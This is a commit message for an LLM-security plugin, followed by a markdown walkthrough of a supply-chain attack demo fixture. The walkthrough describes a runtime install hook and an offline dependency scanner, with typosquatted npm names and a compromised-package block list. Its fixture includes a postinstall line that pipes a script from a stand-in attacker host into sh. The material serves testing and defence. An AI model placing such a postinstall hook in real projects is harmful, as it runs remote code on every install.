Closes Phase 3 (B11) of the v8.0.0 plan. Three parts, all with the failing
test written first.
riskScoreV1 removed. scanners/lib/severity.mjs drops riskScoreV1() and its
SEVERITY_WEIGHTS_V1 table - @deprecated since v7.0.0, kept for diff/comparison,
zero callers in code or tests (re-verified, not taken from the plan). The v1
weights are recorded in CHANGELOG so an old score stays re-derivable. riskScore
(v2) is untouched; a test pins that one critical still lands in the 70-95 tier
and that 50 lows score below it, which is exactly the case v1 collapsed to 100.
Posture category 12 no longer keys off an identifier name. The check was
/TRIFECTA_MODE/i over the session-guard source, which measured what a constant
was CALLED rather than whether enforcement was configurable. With the env-var
gone, that regex would have dropped every correctly-migrated project from PASS
to PARTIAL - the gate punishing the migration it exists to encourage. It now
matches getPolicyValue('trifecta', 'mode', ...) and still accepts a pre-v8
vendored guard reading the old env-var, because a third-party project carries
its own hook copy and is equally configurable either way; the evidence line
says which of the two was found. The PARTIAL finding recommended setting an
env-var that v8 ignores; it now names the policy key. The grade-a fixture hook
moves to the policy-era form.
Two never-implemented env-vars deleted from the docs. LLM_SECURITY_SCR_OFFLINE
(ci-cd-guide) and LLM_SECURITY_OFFLINE (supply-chain-attack example) were
documented as OSV.dev / npm-audit kill-switches. No code has ever read either -
verified by grep across scanners, hooks and scripts, which finds them only in
markdown. A promised kill-switch that does nothing is worse than a documented
absence: it is trusted precisely when the run is meant to be air-gapped. The
docs now say there is none and that egress must be blocked at the network
layer. The LLM_SECURITY_AUDIT_* wildcard is narrowed to the one real key.
Docs. Migration section in README + CHANGELOG with the env-var -> policy-key
table, the detection commands (env + shell rc + .envrc + workflows), and the
explicit warning that a removed variable is now INERT rather than an error -
which is the failure mode that loses a project its configuration silently. The
hardening-guide env table splits into surviving vars and a removed-vars
migration table; its "promote to block" runbook named two variables that no
longer exist. Also swept: CLAUDE.md hook table, scanner-reference, ci-cd-guide,
both lethal-trifecta example docs, mitigation-matrix, injection-research.
Test counts in README/CLAUDE.md synced 2034 -> 2045.
Suite 2045 tests, 0 fail (2039 + 4 posture-trifecta + 2 riskScoreV1). The two
known parallel-load flakes did not recur this run.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BB4vXvwvtW4dxbPRd6vsez
139 lines
5.8 KiB
Markdown
139 lines
5.8 KiB
Markdown
# Supply Chain Attack Walkthrough
|
|
|
|
> **WARNING: This is a demonstration fixture, NOT a real attack.**
|
|
> The fixture `package.json` is never installed and the postinstall
|
|
> URL points to an example domain. The walkthrough only feeds JSON
|
|
> payloads to one PreToolUse hook and parses the static fixture
|
|
> with the offline `dep-auditor` scanner.
|
|
|
|
## What this demonstrates
|
|
|
|
Two layers of supply-chain defense, both catching the same attack
|
|
shape from different angles:
|
|
|
|
| Layer | When | Mechanism |
|
|
|-------|------|-----------|
|
|
| `pre-install-supply-chain` | runtime, PreToolUse on `Bash` | Intercepts `npm install <name>` and blocks compromised versions; advises on scope-hopping |
|
|
| `dep-auditor` (DEP scanner) | scan time, offline | Parses `package.json` for typosquats vs top-100 npm + suspicious lifecycle scripts |
|
|
|
|
A real attacker has to bypass both — the runtime gate when the
|
|
operator runs `npm install`, and the offline scanner when CI / a
|
|
manual `/security scan` reads the lockfile or manifest.
|
|
|
|
## Stage A — runtime hook
|
|
|
|
| Command | Expected | Detection |
|
|
|---------|----------|-----------|
|
|
| `npm install event-stream@3.3.6` | exit 2 (BLOCK) | `event-stream@3.3.6` is on the `NPM_COMPROMISED` list (real 2018 incident) |
|
|
| `npm install @evilcorp/lodash` | exit 0 + advisory | scope-hop: unscoped `lodash` is top-100; `@evilcorp` not on the official-scopes allowlist |
|
|
| `npm install lodash` | exit 0 (clean) | top-100 official package, no advisory |
|
|
|
|
## Stage B — dep-auditor on `fixture/package.json`
|
|
|
|
The fixture declares 5 typosquatted dependencies and a postinstall
|
|
script that pipes a remote shell script (`curl ... | sh`):
|
|
|
|
```json
|
|
"dependencies": {
|
|
"expresss": "^4.18.0", // typo of "express" — Levenshtein 1
|
|
"loadsh": "^4.17.21", // typo of "lodash" — Levenshtein 2
|
|
"axois": "^1.6.0", // typo of "axios" — Levenshtein 2
|
|
"reaact": "^18.2.0" // typo of "react" — Levenshtein 1
|
|
},
|
|
"devDependencies": {
|
|
"chalkk": "^5.3.0" // typo of "chalk" — Levenshtein 1
|
|
},
|
|
"scripts": {
|
|
"postinstall": "curl -sSL https://attacker.example/payload.sh | sh"
|
|
}
|
|
```
|
|
|
|
Expected `dep-auditor` findings:
|
|
|
|
- 5 typosquat findings (`expresss`, `loadsh`, `axois`, `reaact`, `chalkk`),
|
|
with severity ≥ MEDIUM
|
|
- 1 install-script finding (HIGH — postinstall contains `curl ... | sh`)
|
|
- Total ≥ 6 findings, all DEP-prefixed
|
|
|
|
## How to run
|
|
|
|
```bash
|
|
cd plugins/llm-security
|
|
node examples/supply-chain-attack/run-supply-chain.mjs
|
|
|
|
# Detailed: show stderr + full finding list
|
|
node examples/supply-chain-attack/run-supply-chain.mjs --verbose
|
|
```
|
|
|
|
Expected: `5 pass, 0 fail`.
|
|
|
|
## Hooks / scanners involved
|
|
|
|
- **`hooks/scripts/pre-install-supply-chain.mjs`** — PreToolUse on `Bash`.
|
|
Reads `tool_input.command`, normalizes bash evasion, gates on install
|
|
patterns across 7 ecosystems. For npm: checks `NPM_COMPROMISED`,
|
|
scope-hopping (`NPM_OFFICIAL_SCOPES`), OSV.dev advisories,
|
|
provenance heuristic, install-script age gate.
|
|
- **`scanners/dep-auditor.mjs`** — DEP scanner. Reads `package.json`,
|
|
`requirements.txt`, `setup.py`, `pyproject.toml`, `Pipfile.lock`.
|
|
For npm: typosquat (Levenshtein ≤2 vs top-100), unpinned versions,
|
|
install-script heuristics, npm-audit CVE.
|
|
- **`scanners/lib/supply-chain-data.mjs`** — shared blocklists
|
|
(`NPM_COMPROMISED`, `PIP_COMPROMISED`, `CARGO_COMPROMISED`, etc.)
|
|
and `NPM_OFFICIAL_SCOPES` allowlist.
|
|
|
|
## Network behavior
|
|
|
|
- **Hook stage A**: the hook normally calls `npm view` and OSV.dev
|
|
to enrich findings. For the compromised case it stops at the
|
|
`NPM_COMPROMISED` blocklist (no network needed). For the
|
|
scope-hopping case the advisory is emitted before any network call.
|
|
For the clean case it may attempt `npm view` — that runs against
|
|
the public registry but is non-fatal if offline.
|
|
- **Stage B (dep-auditor)**: runs offline by default. It may shell
|
|
out to `npm audit --json --offline=false` for CVE enrichment, but
|
|
the fixture has no real npm install, so audit returns nothing.
|
|
|
|
There is no environment kill-switch for these calls. If you need a
|
|
fully air-gapped run, block network egress for the process.
|
|
|
|
## OWASP / framework mapping
|
|
|
|
| Code | Framework | Why |
|
|
|------|-----------|-----|
|
|
| LLM03 | OWASP LLM Top 10 (2025) | Supply chain compromise — typosquats + malicious install scripts |
|
|
| LLM05 | OWASP LLM Top 10 (2025) | Improper output / supply-chain-affected dependency surface |
|
|
| ASI04 | OWASP Agentic Top 10 | Untrusted dependency influence on agent behavior |
|
|
|
|
## Related real-world incidents (for context, not part of the demo)
|
|
|
|
- `event-stream@3.3.6` (2018) — backdoor injecting bitcoin-stealing code
|
|
- `colors@1.4.1` / `faker@6.6.6` (2022) — author-protest sabotage
|
|
- `ua-parser-js@0.7.29` / `coa@2.0.3` / `rc@1.2.9` (2021) — credential
|
|
stealers via hijacked maintainer accounts
|
|
- `node-ipc@10.1.1` (2022) — geographically-targeted file-wiping
|
|
("peacenotwar")
|
|
- `axios@1.14.1` (2025) — npm-direct publish bypassing CI
|
|
|
|
All of these are on the `NPM_COMPROMISED` list and would be blocked
|
|
by stage A.
|
|
|
|
## Limitations
|
|
|
|
- The walkthrough focuses on npm. Other ecosystems (`pip`, `cargo`,
|
|
`gem`, `brew`, `go`, `docker`) follow the same hook pattern but
|
|
are not exercised here. See `tests/lib/pre-install-supply-chain.test.mjs`
|
|
for per-ecosystem coverage.
|
|
- The OSV.dev advisory check (real CVE lookup) is a network feature
|
|
and is not exercised in the deterministic test cases.
|
|
- This example does not exercise `pre-install-supply-chain`'s bash
|
|
evasion normalization (T1-T6). For that, see
|
|
`examples/bash-evasion-gallery/`.
|
|
|
|
## See also
|
|
|
|
- `knowledge/top-packages.json` — typosquat seed list (top-100 npm)
|
|
- `scanners/lib/supply-chain-data.mjs` — `NPM_COMPROMISED` blocklist
|
|
- `tests/lib/dep-auditor.test.mjs` — unit-test contract
|
|
- `examples/bash-evasion-gallery/` — bash-normalization layer (T1-T6)
|
|
- `expected-findings.md` (in this folder) — the testable contract
|